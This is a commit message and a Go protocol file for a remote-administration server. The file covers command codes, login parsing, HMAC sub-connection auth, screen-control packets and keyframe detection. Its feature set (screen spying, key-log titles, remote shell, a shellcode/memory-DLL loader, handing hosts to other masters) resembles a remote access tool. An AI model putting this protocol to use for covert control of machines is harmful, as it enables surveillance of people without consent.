A Go-managed host cannot receive the client upgrade that only the MFC master can push. Transfer moves its main link there and brings it back after N days; MFC has no reason to return it. Transfer is not share: ASSIGN writes the target and drops the current connection, so the old master sees the host go offline and the new master gets a normal main link it can remote control and upgrade. While a transfer is live the client refuses a second transfer and any share, so no host is handed to a third master that expiry would orphan. Server: admin-only `transfer_device` WS command, COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA_FOREVER as `host:port:days::transport\0`, byte-compatible with the MFC dialog. The transport segment is always present (YAMA_TRANSFER_TRANSPORT, default 0/TCP) because clients keep their current link when it is missing: a WSS-managed host would otherwise retry WSS against the MFC master's raw TCP port and never connect. The empty shine segment keeps the host's header encryption. The button only renders when `device_list.transfer` is present, which MFC never sends, so no MFC change is needed. devicehistory keeps transfer_to/transfer_until for the card badge and drops the marker on expiry or on a fresh login here. Client: KernelManager.cpp writes the registry and disconnects; ClientDll.cpp re-reads the registry at the top of every reconnect, so a mid-session transfer lands on the next round. Expiry is checked before every connect attempt as well as inside the heartbeat loop, so an unreachable target cannot pin the host to an expired address until a restart; restoring rebuilds the link captured on entry (address, header encryption, transport). linux/main.cpp applies the transfer on the main loop and restores the captured endpoint at expiry; Android does the same; macOS has neither share nor transfer.
749 lines
32 KiB
Go
749 lines
32 KiB
Go
package protocol
|
|
|
|
import (
|
|
"bytes"
|
|
"crypto/hmac"
|
|
"crypto/sha256"
|
|
"encoding/binary"
|
|
"encoding/hex"
|
|
"strconv"
|
|
"strings"
|
|
|
|
"golang.org/x/text/encoding/simplifiedchinese"
|
|
"golang.org/x/text/transform"
|
|
)
|
|
|
|
// GbkToUTF8 converts GBK encoded bytes to UTF-8 string. The input is treated
|
|
// as a null-terminated GBK buffer (typical for Windows clients); content
|
|
// after the first NUL byte is discarded. Non-printable characters are
|
|
// stripped from the result.
|
|
func GbkToUTF8(data []byte) string {
|
|
// Find the first null byte and truncate there
|
|
if idx := bytes.IndexByte(data, 0); idx >= 0 {
|
|
data = data[:idx]
|
|
}
|
|
if len(data) == 0 {
|
|
return ""
|
|
}
|
|
|
|
// Try to decode as GBK
|
|
reader := transform.NewReader(bytes.NewReader(data), simplifiedchinese.GBK.NewDecoder())
|
|
buf := new(bytes.Buffer)
|
|
_, err := buf.ReadFrom(reader)
|
|
if err != nil {
|
|
// If GBK decoding fails, try treating as UTF-8 or ASCII
|
|
return cleanString(string(data))
|
|
}
|
|
return cleanString(buf.String())
|
|
}
|
|
|
|
// UTF8ToGBK converts a Go string to the GBK bytes a client-side C string field
|
|
// expects. Every platform's file manager works on GBK on the wire: Windows uses
|
|
// the ANSI APIs (CP936), and the POSIX clients convert with iconv before
|
|
// sending (`gbkToUtf8` in common/FileManager.h). Bytes that GBK cannot
|
|
// represent are replaced; callers that care should check the round trip.
|
|
func UTF8ToGBK(s string) []byte {
|
|
if s == "" {
|
|
return nil
|
|
}
|
|
var buf bytes.Buffer
|
|
w := transform.NewWriter(&buf, simplifiedchinese.GBK.NewEncoder())
|
|
if _, err := w.Write([]byte(s)); err != nil {
|
|
// Unrepresentable input: fall back to the raw UTF-8 bytes, which is
|
|
// exactly what the C++ iconv helper does on failure.
|
|
return []byte(s)
|
|
}
|
|
if err := w.Close(); err != nil {
|
|
return []byte(s)
|
|
}
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// Utf8CleanString trims at the first NUL and strips non-printables — the
|
|
// UTF-8 counterpart of GbkToUTF8 for clients that have the CLIENT_CAP_UTF8
|
|
// capability bit. Decoding as GBK in that case would mangle multi-byte
|
|
// sequences (the C++ comment at WebService.cpp:1530 calls out this exact
|
|
// "double-encoding" footgun).
|
|
func Utf8CleanString(data []byte) string {
|
|
if idx := bytes.IndexByte(data, 0); idx >= 0 {
|
|
data = data[:idx]
|
|
}
|
|
if len(data) == 0 {
|
|
return ""
|
|
}
|
|
return cleanString(string(data))
|
|
}
|
|
|
|
// cleanString removes non-printable characters except common whitespace
|
|
func cleanString(s string) string {
|
|
var result strings.Builder
|
|
for _, r := range s {
|
|
if r >= 32 || r == '\t' || r == '\n' || r == '\r' {
|
|
result.WriteRune(r)
|
|
}
|
|
}
|
|
return strings.TrimSpace(result.String())
|
|
}
|
|
|
|
// Client capability bitmask values, matching common/commands.h CLIENT_CAP_*.
|
|
// Reported in the hex tail of LOGIN_INFOR.moduleVersion (after the '-').
|
|
const (
|
|
ClientCapV2 uint32 = 0x0001 // CLIENT_CAP_V2 — V2 file transfer
|
|
ClientCapUTF8 uint32 = 0x0002 // CLIENT_CAP_UTF8 — UTF-8 protocol strings (activeWindow, key-log titles, ...)
|
|
ClientCapScreenPreview uint32 = 0x0004 // CLIENT_CAP_SCREEN_PREVIEW
|
|
ClientCapC2CPaths uint32 = 0x0008 // CLIENT_CAP_C2C_PATHS — path-list driven host-to-host transfer
|
|
// Bits 0x0010 (C2C recv ack), 0x0020 (protocol switch) and 0x0040
|
|
// (embedded anchor) are not consumed by the Go server yet. They are simply
|
|
// skipped by the constants below.
|
|
ClientCapVirtualDesktop uint32 = 0x0080 // CLIENT_CAP_VIRTUAL_DESKTOP — whole virtual desktop capture
|
|
ClientCapWindowInfo uint32 = 0x0100 // CLIENT_CAP_WINDOW_INFO — window enumeration / rects
|
|
ClientCapScreenRegion uint32 = 0x0200 // CLIENT_CAP_SCREEN_REGION — region/window/monitor capture
|
|
// CLIENT_CAP_TERMINAL is only declared by recent Android builds: Windows
|
|
// and Linux always had COMMAND_SHELL but never advertise it, so this bit
|
|
// must only gate the APK path (common/commands.h:151).
|
|
ClientCapTerminal uint32 = 0x8000 // CLIENT_CAP_TERMINAL — PTY shell sub-connection
|
|
)
|
|
|
|
// SupportsCap returns true when the client's reported capability hex string
|
|
// has the given bit set. An empty / unparseable string means "no caps" and
|
|
// matches the legacy GBK-Windows convention.
|
|
func SupportsCap(capability string, bit uint32) bool {
|
|
if capability == "" {
|
|
return false
|
|
}
|
|
caps, err := strconv.ParseUint(strings.TrimSpace(capability), 16, 32)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return uint32(caps)&bit != 0
|
|
}
|
|
|
|
// DecodeClientString decodes a fixed-length, NUL-padded buffer the client
|
|
// sent as part of a binary protocol field (typically ActiveWnd). If the
|
|
// client signals UTF-8 capability or is known to ship UTF-8 by default
|
|
// (Linux / macOS), the bytes are treated as UTF-8; otherwise they're
|
|
// decoded from GBK (CP936 — the legacy Windows default).
|
|
//
|
|
// clientType comes from LOGIN_INFOR reserved field 0 (RES_CLIENT_TYPE) and
|
|
// capability from the hex tail of moduleVersion. Both can be empty.
|
|
func DecodeClientString(data []byte, capability, clientType string) string {
|
|
if SupportsCap(capability, ClientCapUTF8) || clientType == "LNX" || clientType == "MAC" {
|
|
return Utf8CleanString(data)
|
|
}
|
|
return GbkToUTF8(data)
|
|
}
|
|
|
|
// Command tokens - matching the C++ definitions (common/commands.h).
|
|
const (
|
|
// Server -> Client commands
|
|
CommandActived byte = 0 // COMMAND_ACTIVED
|
|
CommandListDrive byte = 1 // COMMAND_LIST_DRIVE - open the file-manager sub-conn and list drives
|
|
CommandListFiles byte = 2 // COMMAND_LIST_FILES - [cmd][path\0] on the file-manager sub-conn
|
|
CommandScreenSpy byte = 16 // COMMAND_SCREEN_SPY - start screen capture
|
|
CommandScreenControl byte = 20 // COMMAND_SCREEN_CONTROL - mouse/keyboard input (MSG64 batches)
|
|
CommandScreenGetClipboard byte = 24 // COMMAND_SCREEN_GET_CLIPBOARD - request remote clipboard (single byte)
|
|
CommandScreenSetClipboard byte = 25 // COMMAND_SCREEN_SET_CLIPBOARD - set remote clipboard [25][GBK text]
|
|
CommandNext byte = 30 // COMMAND_NEXT - "control-side dialog is open, you may stream"
|
|
CommandShell byte = 40 // COMMAND_SHELL - ask device to open a shell sub-connection
|
|
CommandUninstall byte = 63 // TOKEN_UNINSTALL - uninstall the host agent (single byte)
|
|
CommandTerminalRsize byte = 81 // CMD_TERMINAL_RESIZE - [cmd:1][cols:2 LE][rows:2 LE]
|
|
CmdRestoreConsole byte = 82 // CMD_RESTORE_CONSOLE - RDP session "归位": switch back to the console session and restart capture
|
|
CommandSendFileV2 byte = 85 // COMMAND_SEND_FILE_V2 - one V2 file chunk (77-byte packed header + name + data)
|
|
CommandFileCompleteV2 byte = 91 // COMMAND_FILE_COMPLETE_V2 - end of one V2 file, carries its SHA-256
|
|
CmdDownFilesV2 byte = 94 // CMD_DOWN_FILES_V2 - [cmd][targetDir\0][path\0][\0] on the file-manager sub-conn
|
|
CommandScreenKeyframeReq byte = 169 // COMMAND_SCREEN_KEYFRAME_REQ - force the client to emit an IDR immediately
|
|
CommandBye byte = 204 // COMMAND_BYE - disconnect
|
|
CommandHeartbeat byte = 216 // CMD_HEARTBEAT_ACK
|
|
|
|
// CommandAssignMaster moves a host to another master (COMMAND_ASSIGN_MASTER).
|
|
// Payload: [cmd][ShareTypeYamaForever]host:port:days[:shine[:transport]]\0
|
|
// The client stores the target plus a deadline and goes back to the master it
|
|
// captured at startup when the deadline passes — the Go server does not take
|
|
// part in the restore. See common/host_transfer.h.
|
|
CommandAssignMaster byte = 207
|
|
ShareTypeYamaForever byte = 100 // SHARE_TYPE_YAMA_FOREVER — "transfer", not "share"
|
|
|
|
// TransferTransport* are the clients' CONNECT_ADDRESS.protoType values
|
|
// (common/commands.h): PROTO_TCP=0, PROTO_WS=5, PROTO_WSS=6. They travel in
|
|
// the assign-master payload's transport segment.
|
|
TransferTransportTCP int = 0
|
|
TransferTransportWS int = 5
|
|
TransferTransportWSS int = 6
|
|
|
|
// Client -> Server tokens
|
|
TokenAuth byte = 100 // TOKEN_AUTH - authorization required
|
|
TokenHeartbeat byte = 101 // TOKEN_HEARTBEAT
|
|
TokenLogin byte = 102 // TOKEN_LOGIN - login packet
|
|
TokenDriveList byte = 103 // TOKEN_DRIVE_LIST - file-manager sub-conn first packet, drive records
|
|
TokenFileList byte = 104 // TOKEN_FILE_LIST - one directory's entries, [token] + records
|
|
TokenBitmapInfo byte = 115 // TOKEN_BITMAPINFO - screen sub-connection header
|
|
TokenFirstScreen byte = 116 // TOKEN_FIRSTSCREEN - raw BGRA baseline frame (NOT H264)
|
|
TokenNextScreen byte = 117 // TOKEN_NEXTSCREEN - non-keyframe H264 (P-frame)
|
|
TokenClipboardText byte = 118 // TOKEN_CLIPBOARD_TEXT - remote clipboard text [118][UTF-8][NUL]
|
|
TokenShellStart byte = 128 // TOKEN_SHELL_START - legacy cmd-pipe shell sub-conn open
|
|
TokenKeyframe byte = 134 // TOKEN_KEYFRAME - H264 IDR (sent on GOP boundary)
|
|
// TOKEN_FILE_LIST_ERROR is the modern clients' structured "cannot list this
|
|
// directory" reply: [token:1][win32err:4 LE]. Legacy clients send nothing,
|
|
// which the server can only report as a timeout.
|
|
TokenFileListError byte = 171 // TOKEN_FILE_LIST_ERROR - directory listing failed
|
|
// TOKEN_DOWNLOAD_ERROR is the file-manager sub-conn's "nothing to send"
|
|
// reply to CMD_DOWN_FILES_V2: [token:1][win32err:4 LE]. The transfer sub-conn
|
|
// is not created in that case, so this is the only failure signal.
|
|
TokenDownloadError byte = 173 // TOKEN_DOWNLOAD_ERROR - download request rejected
|
|
TokenTerminalStart byte = 232 // TOKEN_TERMINAL_START - modern PTY shell sub-conn open
|
|
TokenTerminalClose byte = 233 // TOKEN_TERMINAL_CLOSE - shell exited / close ack
|
|
TokenConnAuth byte = 246 // TOKEN_CONN_AUTH - sub-connection identity handshake
|
|
// COMMAND_SCREEN_PREVIEW_REQ / TOKEN_SCREEN_PREVIEW_RSP are a main-connection
|
|
// RPC pair: the client captures, scales and JPEG-encodes a frame itself. It
|
|
// opens no sub-connection and holds no screen-session slot, so it can run
|
|
// alongside a live screen viewer (design §7.1).
|
|
CommandScreenPreviewReq byte = 247 // COMMAND_SCREEN_PREVIEW_REQ - [cmd:1][reqId:2][maxWidth:2][quality:1][reserved:2]
|
|
TokenScreenPreviewRsp byte = 248 // TOKEN_SCREEN_PREVIEW_RSP - [token:1][reqId:2][status:1][format:1][w:2][h:2][bytes:4][reserved:3][data]
|
|
CmdCursorImage byte = 93 // CMD_CURSOR_IMAGE - custom cursor bitmap (Phase 5+ feature)
|
|
CmdSockDllLoader byte = 210 // SOCKET_DLLLOADER - shellcode/memory-DLL loader requests the full DLL payload
|
|
)
|
|
|
|
// HeartbeatACK (CMD_HEARTBEAT_ACK) response layout — mirrors the HeartbeatACK
|
|
// struct in common/commands.h, where sizeof(HeartbeatACK) == 1024.
|
|
//
|
|
// Size matters: clients deployed before 2026-11 gate the ACK on
|
|
// `ulLength >= 1 + sizeof(HeartbeatACK)` (1025 bytes) and silently drop
|
|
// anything shorter. That never feeds their application-level ACK watchdog,
|
|
// so they reconnect every 60s forever — a 33-byte reply here did exactly
|
|
// that on the Go server. Current clients accept both sizes (they clamp to
|
|
// min(ulLength-1, sizeof)), and the C++ server always sends 1+1024
|
|
// (2015RemoteDlg.cpp), so the wire is 1+1024 for everyone. Windows was the
|
|
// only client tolerant of the short form from the start (KernelManager.cpp
|
|
// copies min(ulLength, 32)).
|
|
const (
|
|
HeartbeatACKSize = 1024
|
|
HeartbeatACKOffTime = 0 // uint64 LE — the request's Time, echoed back
|
|
HeartbeatACKOffAuthorized = 8 // byte — 0/1/2 (2 = authorized by admin)
|
|
HeartbeatACKOffIsTrail = 9 // byte — trial master
|
|
HeartbeatACKOffProcessing = 212 // uint32 LE — server-side processing time (ms)
|
|
)
|
|
|
|
// Sub-connection authentication (matches common/commands.h ConnAuth* structs).
|
|
// Each newly-opened sub-conn first sends a 512-byte ConnAuthPacket, then waits
|
|
// for a 256-byte ConnAuthAck before any further command is meaningful.
|
|
const (
|
|
ConnAuthPacketSize = 512
|
|
ConnAuthAckSize = 256
|
|
// ConnAuthPacket field offsets within the inbound 512-byte buffer.
|
|
// Layout (from common/commands.h::ConnAuthPacket):
|
|
// [token:1][clientID:8 LE][timestamp:8 LE][nonce:16][signature:64][reserved:415]
|
|
ConnAuthOffClientID = 1 // uint64 LE — pin to the sub-conn so later
|
|
// // 1-byte tokens (TOKEN_TERMINAL_START etc.) can
|
|
// // resolve the parent device.
|
|
ConnAuthOffTimestamp = 9 // uint64 LE - Unix seconds, anti-replay window
|
|
ConnAuthOffNonce = 17 // [16]byte - part of the signed message
|
|
ConnAuthOffSignature = 33 // [64]byte - hex of HMAC-SHA256(key, clientID||timestamp||nonce)
|
|
ConnAuthSignatureSize = 64
|
|
|
|
// ConnAuthAck field offsets within the outbound 256-byte buffer.
|
|
ConnAuthAckOffStatus = 1 // uint8
|
|
ConnAuthAckOffServerTime = 2 // uint64 LE
|
|
// ConnAuthTimestampToleranceSec bounds |server - client| clock skew in
|
|
// seconds (matches CONN_AUTH_TIMESTAMP_TOLERANCE_SEC in common/commands.h).
|
|
// A timestamp outside this window is treated as replayed or forged.
|
|
ConnAuthTimestampToleranceSec = 300
|
|
|
|
// Status codes (match common/commands.h::ConnAuthStatus). The client treats
|
|
// any non-zero status as failure and drops the sub-connection.
|
|
ConnAuthStatusOK byte = 0
|
|
ConnAuthStatusBadSize byte = 1 // packet shorter than the signature field
|
|
ConnAuthStatusClockSkew byte = 2 // timestamp outside tolerance
|
|
ConnAuthStatusBadSignature byte = 3 // HMAC mismatch
|
|
ConnAuthStatusInternalError byte = 4
|
|
)
|
|
|
|
// CMD_MASTERSETTING is the server's reply to a fresh client login. The
|
|
// client uses the Signature field to prove this server has the shared
|
|
// secret; without a valid signature the client's private FileUpload init
|
|
// aborts the process. Struct layout matches MasterSettings in
|
|
// common/commands.h (pragma pack 4, total 1000 bytes).
|
|
const (
|
|
CmdMasterSetting byte = 215
|
|
MasterSettingsSize = 1000
|
|
MasterSettingsOffReportInterval = 0 // int32, seconds
|
|
MasterSettingsOffSignature = 508 // Signature[64]
|
|
MasterSettingsSignatureLen = 64
|
|
// DefaultReportIntervalSec matches the C++ default. Sending 0 makes the
|
|
// client disable its active-window heartbeat field, breaking RTT /
|
|
// ActiveWindow live updates on the web UI.
|
|
DefaultReportIntervalSec = 5
|
|
)
|
|
|
|
// SignMessage computes HMAC-SHA256(key, msg) and returns the 64-char
|
|
// lowercase hex digest. Used to sign CMD_MASTERSETTING replies so the
|
|
// client can verify the response came from a legitimate server.
|
|
//
|
|
// The key is a deployment-time shared secret loaded from the
|
|
// YAMA_SIGN_PASSWORD env var so the binary doesn't carry the literal in
|
|
// cleartext; provision out-of-band and never commit it.
|
|
func SignMessage(password string, msg []byte) string {
|
|
mac := hmac.New(sha256.New, []byte(password))
|
|
mac.Write(msg)
|
|
return hex.EncodeToString(mac.Sum(nil))
|
|
}
|
|
|
|
// Screen-spy parameters that match the C++ ScreenSpy implementation.
|
|
const (
|
|
AlgorithmH264 byte = 2 // ALGORITHM_H264 — H264 encoding (the algorithm web uses)
|
|
)
|
|
|
|
// Windows message constants used inside MSG64.message. The client dispatches
|
|
// on these values verbatim (CScreenManager::ProcessCommand at
|
|
// client/ScreenManager.cpp:1617), so these MUST stay bit-identical to the
|
|
// WinUser.h definitions even though this Go server is cross-platform.
|
|
const (
|
|
WMKeyDown uint64 = 0x0100
|
|
WMKeyUp uint64 = 0x0101
|
|
WMSysKeyDown uint64 = 0x0104
|
|
WMSysKeyUp uint64 = 0x0105
|
|
WMMouseMove uint64 = 0x0200
|
|
WMLButtonDown uint64 = 0x0201
|
|
WMLButtonUp uint64 = 0x0202
|
|
WMLButtonDblClk uint64 = 0x0203
|
|
WMRButtonDown uint64 = 0x0204
|
|
WMRButtonUp uint64 = 0x0205
|
|
WMRButtonDblClk uint64 = 0x0206
|
|
WMMButtonDown uint64 = 0x0207
|
|
WMMButtonUp uint64 = 0x0208
|
|
WMMouseWheel uint64 = 0x020A
|
|
)
|
|
|
|
// Virtual-key codes referenced from the input mapping. Same numeric values
|
|
// as the Win32 VK_* constants.
|
|
const (
|
|
VKLWin = 0x5B // VK_LWIN — filtered: never forwarded
|
|
VKRWin = 0x5C // VK_RWIN — filtered: never forwarded
|
|
VKPrior = 0x21 // VK_PRIOR (Page Up) — extended-key range start
|
|
VKDown = 0x28 // VK_DOWN — extended-key range end
|
|
VKInsert = 0x2D
|
|
VKDelete = 0x2E
|
|
VKNumLock = 0x90
|
|
VKRControl = 0xA3
|
|
VKRMenu = 0xA5
|
|
VKApps = 0x5D
|
|
)
|
|
|
|
// MK_* wParam bitflags for mouse-button messages.
|
|
const (
|
|
MKLButton uint64 = 0x0001
|
|
MKRButton uint64 = 0x0002
|
|
MKMButton uint64 = 0x0010
|
|
)
|
|
|
|
// MSG64 is the 48-byte fixed layout the client expects inside a
|
|
// COMMAND_SCREEN_CONTROL packet (common/commands.h class MSG64).
|
|
//
|
|
// [hwnd:8][message:8][wParam:8][lParam:8][time:8][pt.x:4][pt.y:4]
|
|
//
|
|
// All uint64 fields are little-endian; pt is two int32 LE. The client's
|
|
// ProcessCommand validates `ulLength % 48 == 0` and treats each 48-byte
|
|
// block as one MSG64.
|
|
const Msg64Size = 48
|
|
|
|
// BuildScreenControlPacket encodes one COMMAND_SCREEN_CONTROL packet
|
|
// carrying a single MSG64 record. The cmd byte is prepended.
|
|
//
|
|
// Wire layout:
|
|
//
|
|
// [CMD:1][hwnd:8 LE][message:8 LE][wParam:8 LE][lParam:8 LE][time:8 LE][pt.x:4 LE][pt.y:4 LE]
|
|
//
|
|
// time is filled with a monotonic-ish ms value (ms since Unix epoch trimmed
|
|
// to 32 bits) so the client's GetTickCount() comparisons stay reasonable.
|
|
func BuildScreenControlPacket(message, wParam, lParam uint64, ptX, ptY int32, timeMs uint32) []byte {
|
|
buf := make([]byte, 1+Msg64Size)
|
|
buf[0] = CommandScreenControl
|
|
// hwnd left zero — the client recomputes hWnd via WindowFromPoint.
|
|
binary.LittleEndian.PutUint64(buf[1+8:1+16], message)
|
|
binary.LittleEndian.PutUint64(buf[1+16:1+24], wParam)
|
|
binary.LittleEndian.PutUint64(buf[1+24:1+32], lParam)
|
|
binary.LittleEndian.PutUint64(buf[1+32:1+40], uint64(timeMs))
|
|
binary.LittleEndian.PutUint32(buf[1+40:1+44], uint32(ptX))
|
|
binary.LittleEndian.PutUint32(buf[1+44:1+48], uint32(ptY))
|
|
return buf
|
|
}
|
|
|
|
// TerminalBinaryMagic is the 4-byte prefix the web UI uses to demultiplex
|
|
// terminal output from screen frames over the single WebSocket. Matches
|
|
// the C++ side at server/2015Remote/WebService.cpp:2013 ("TRM1"). Screen
|
|
// frames lead with a uint32 LE device ID, so collisions with this exact
|
|
// magic are astronomically rare in practice.
|
|
var TerminalBinaryMagic = [4]byte{'T', 'R', 'M', '1'}
|
|
|
|
// BuildTerminalResize encodes the 5-byte CMD_TERMINAL_RESIZE packet the
|
|
// client's ConPTYManager/TerminalManager expects on the shell sub-conn:
|
|
//
|
|
// [CMD_TERMINAL_RESIZE:1][cols:2 LE][rows:2 LE]
|
|
//
|
|
// cols/rows are signed int16 on the wire (the C++ side casts to `short`).
|
|
func BuildTerminalResize(cols, rows int) []byte {
|
|
buf := make([]byte, 5)
|
|
buf[0] = CommandTerminalRsize
|
|
binary.LittleEndian.PutUint16(buf[1:3], uint16(int16(cols)))
|
|
binary.LittleEndian.PutUint16(buf[3:5], uint16(int16(rows)))
|
|
return buf
|
|
}
|
|
|
|
// MakeLParam packs x into the low word and y into the high word — the
|
|
// Windows MAKELPARAM macro the client expects in mouse-message lParams.
|
|
func MakeLParam(x, y int32) uint64 {
|
|
return uint64(uint32(x)&0xFFFF) | (uint64(uint32(y)&0xFFFF) << 16)
|
|
}
|
|
|
|
// IsExtendedKey returns true when the given Win32 VK code should set the
|
|
// extended-key bit (bit 24) in a keyboard lParam. Matches the C++
|
|
// HandleKey logic (server/2015Remote/WebService.cpp:944).
|
|
func IsExtendedKey(vk int) bool {
|
|
if vk >= VKPrior && vk <= VKDown {
|
|
return true
|
|
}
|
|
switch vk {
|
|
case VKInsert, VKDelete, VKNumLock, VKRControl, VKRMenu, VKApps:
|
|
return true
|
|
}
|
|
return false
|
|
}
|
|
|
|
// Reserved-field indices we care about (see common/commands.h RES_* enum).
|
|
// LOGIN_INFOR.szReserved is a '|'-separated list; clients fill known slots
|
|
// even when leaving others blank ("?").
|
|
const (
|
|
ResFieldClientType = 0 // RES_CLIENT_TYPE — client kind (Windows / macOS / ...)
|
|
ResFieldFilePath = 4 // RES_FILE_PATH — install path
|
|
ResFieldInstallTime = 6 // RES_INSTALL_TIME
|
|
ResFieldClientLoc = 10 // RES_CLIENT_LOC — geo string
|
|
ResFieldClientPubIP = 11 // RES_CLIENT_PUBIP — public IP
|
|
ResFieldResolution = 15 // RES_RESOLUTION — client-formatted screen geometry: "N:W*H"
|
|
ResFieldClientID = 16 // RES_CLIENT_ID — uint64 decimal, matches TOKEN_BITMAPINFO clientID
|
|
)
|
|
|
|
// ScreenFrameHeaderLen is the size of the small per-frame header prepended by
|
|
// the device on every TOKEN_NEXTSCREEN buffer, before the H.264 NAL payload.
|
|
// Layout (excluding the leading TOKEN_* byte):
|
|
//
|
|
// [algorithm:1][cursorPos:8 (int32 x, int32 y)][cursorIdx:1] = 10 bytes
|
|
//
|
|
// (The C++ side counts the token byte into its ulHeadLength=11; we keep the
|
|
// constant strictly post-token so the call site reads `skip := 1 + headerLen`
|
|
// without confusion.) SCREENYSPY_IMPROVE adds a 4-byte frameID after the
|
|
// cursor index, which is the production-off setting per common/commands.h.
|
|
const ScreenFrameHeaderLen = 1 + 8 + 1
|
|
|
|
// IsH264Keyframe scans an Annex-B H.264 bitstream for a NAL unit indicating
|
|
// a keyframe boundary — IDR (type 5), SPS (7) or PPS (8). Returns true on
|
|
// the first hit. Matches the detection used by the C++ ScreenSpy broadcast
|
|
// path so frame-type bytes stay consistent across server implementations.
|
|
func IsH264Keyframe(data []byte) bool {
|
|
n := len(data)
|
|
for i := 0; i+4 < n; i++ {
|
|
var nalOffset int
|
|
switch {
|
|
case data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1:
|
|
nalOffset = i + 4
|
|
case data[i] == 0 && data[i+1] == 0 && data[i+2] == 1:
|
|
nalOffset = i + 3
|
|
default:
|
|
continue
|
|
}
|
|
if nalOffset >= n {
|
|
continue
|
|
}
|
|
nalType := data[nalOffset] & 0x1F
|
|
if nalType == 5 || nalType == 7 || nalType == 8 {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// IsAnyKeyframe sniffs the codec from the first byte then dispatches to the
|
|
// matching keyframe detector. H.264 Annex B always starts with 0x00 (start
|
|
// code prefix); AV1 OBU headers have bit7=0 and bits[3:6]=obu_type in [1,15]
|
|
// so the first byte is in [0x08,0x78] and never 0x00. Lets the server stay
|
|
// codec-agnostic so the browser can run H.264 and AV1 sessions side by side.
|
|
func IsAnyKeyframe(data []byte) bool {
|
|
if len(data) == 0 {
|
|
return false
|
|
}
|
|
if data[0] == 0x00 {
|
|
return IsH264Keyframe(data)
|
|
}
|
|
return IsAv1Keyframe(data)
|
|
}
|
|
|
|
// IsAv1Keyframe walks the OBU chain and returns true on the first
|
|
// OBU_SEQUENCE_HEADER (type 1). FFmpeg's AV1 encoders prepend SEQ HDR to
|
|
// every IDR, so seeing one is equivalent to "this packet contains a key
|
|
// frame". Mirrors the C++ IsAv1Keyframe helper in ScreenSpyDlg.cpp.
|
|
//
|
|
// AV1 OBU header byte layout: 0|type:4|ext:1|size:1|reserved:1
|
|
func IsAv1Keyframe(data []byte) bool {
|
|
n := len(data)
|
|
pos := 0
|
|
for pos < n {
|
|
hdr := data[pos]
|
|
obuType := (hdr >> 3) & 0x0F
|
|
hasExt := hdr&0x04 != 0
|
|
hasSize := hdr&0x02 != 0
|
|
if obuType == 1 { // OBU_SEQUENCE_HEADER
|
|
return true
|
|
}
|
|
pos++
|
|
if hasExt {
|
|
if pos >= n {
|
|
return false
|
|
}
|
|
pos++
|
|
}
|
|
if !hasSize {
|
|
return false // unsized OBU runs to end of packet
|
|
}
|
|
// LEB128 size
|
|
var sz uint64
|
|
for i := range 8 {
|
|
if pos >= n {
|
|
return false
|
|
}
|
|
b := data[pos]
|
|
pos++
|
|
sz |= uint64(b&0x7F) << (7 * i)
|
|
if b&0x80 == 0 {
|
|
break
|
|
}
|
|
}
|
|
if uint64(pos)+sz > uint64(n) {
|
|
return false
|
|
}
|
|
pos += int(sz)
|
|
}
|
|
return false
|
|
}
|
|
|
|
// LOGIN_INFOR structure size and offsets (matching C++ struct with default alignment)
|
|
// Note: C++ struct uses default alignment (4-byte for uint32/int)
|
|
const (
|
|
LoginInfoSize = 980 // Total size of LOGIN_INFOR struct (with alignment padding)
|
|
|
|
// Field offsets (with alignment padding)
|
|
OffsetToken = 0 // 1 byte (unsigned char)
|
|
OffsetOsVerInfoEx = 1 // 156 bytes (char[156])
|
|
// 3 bytes padding here to align dwCPUMHz to 4-byte boundary
|
|
OffsetCPUMHz = 160 // 4 bytes (unsigned int) - aligned to 4
|
|
OffsetModuleVersion = 164 // 24 bytes (char[24])
|
|
OffsetPCName = 188 // 240 bytes (char[240])
|
|
OffsetMasterID = 428 // 20 bytes (char[20])
|
|
OffsetWebCamExist = 448 // 4 bytes (int) - aligned to 4
|
|
OffsetSpeed = 452 // 4 bytes (unsigned int)
|
|
OffsetStartTime = 456 // 20 bytes (char[20])
|
|
OffsetReserved = 476 // 512 bytes (char[512])
|
|
)
|
|
|
|
// LoginInfo represents client login information
|
|
type LoginInfo struct {
|
|
Token byte
|
|
OsVerInfo string // OS version info
|
|
CPUMHz uint32
|
|
ModuleVersion string
|
|
PCName string // Computer name
|
|
MasterID string
|
|
WebCamExist bool
|
|
Speed uint32
|
|
StartTime string
|
|
Reserved string // Contains additional info separated by |
|
|
}
|
|
|
|
// DecodeLoginAnsiField decodes a LOGIN_INFOR text field that is *not* covered
|
|
// by CLIENT_CAP_UTF8 (computer name, OS string). On Windows those are filled
|
|
// from narrow Win32/CRT APIs — gethostname() at client/LoginServer.cpp:380 —
|
|
// and carry the system code page (CP936/GBK on Chinese installs) even when the
|
|
// client advertises UTF-8 support; the capability bit only promises UTF-8 for
|
|
// the protocol string fields it lists (active window, window titles, file
|
|
// paths). The MFC server decodes these same fields with CP_ACP
|
|
// (HostJson.cpp::AnsiToUtf8), which is why a Chinese computer name renders
|
|
// correctly there and showed up as "����" in the Go server's web console.
|
|
// POSIX and Android clients build the field as UTF-8, so keep their bytes.
|
|
// "macOS" is the client-type string of pre-1.0 macOS builds (GetClientType
|
|
// returns "MAC" today; the MFC server still accepts both, see
|
|
// WebService.cpp's dblclick branch). Those builds also send UTF-8 names, so
|
|
// they must not fall into the GBK path or the same login decodes differently
|
|
// in the Go server than in the C++ one.
|
|
//
|
|
// GBK is hard-coded because the Go server has no equivalent of the server
|
|
// machine's CP_ACP; that matches the MFC deployment everyone runs (a Chinese
|
|
// server). Consequence worth knowing: a Windows machine with the "Beta: Use
|
|
// Unicode UTF-8" locale option sends UTF-8 here too and will show mojibake —
|
|
// the MFC server mangles that case as well, and sniffing UTF-8 instead would
|
|
// misfire on real GBK names (measured: 930 of 6763 GBK hanzi validate as a
|
|
// UTF-8 two-byte sequence, so ~2% of two-character host names would be
|
|
// misread), so the deterministic rule is the safer side of the trade.
|
|
func DecodeLoginAnsiField(data []byte, clientType string) string {
|
|
switch clientType {
|
|
case "LNX", "MAC", "macOS", "APK":
|
|
return Utf8CleanString(data)
|
|
}
|
|
return GbkToUTF8(data)
|
|
}
|
|
|
|
// ParseLoginInfo parses LOGIN_INFOR from data.
|
|
//
|
|
// Encoding: Reserved (file path, location, ...) is GBK on legacy Windows
|
|
// clients and UTF-8 on modern clients that set CLIENT_CAP_UTF8 (always on for
|
|
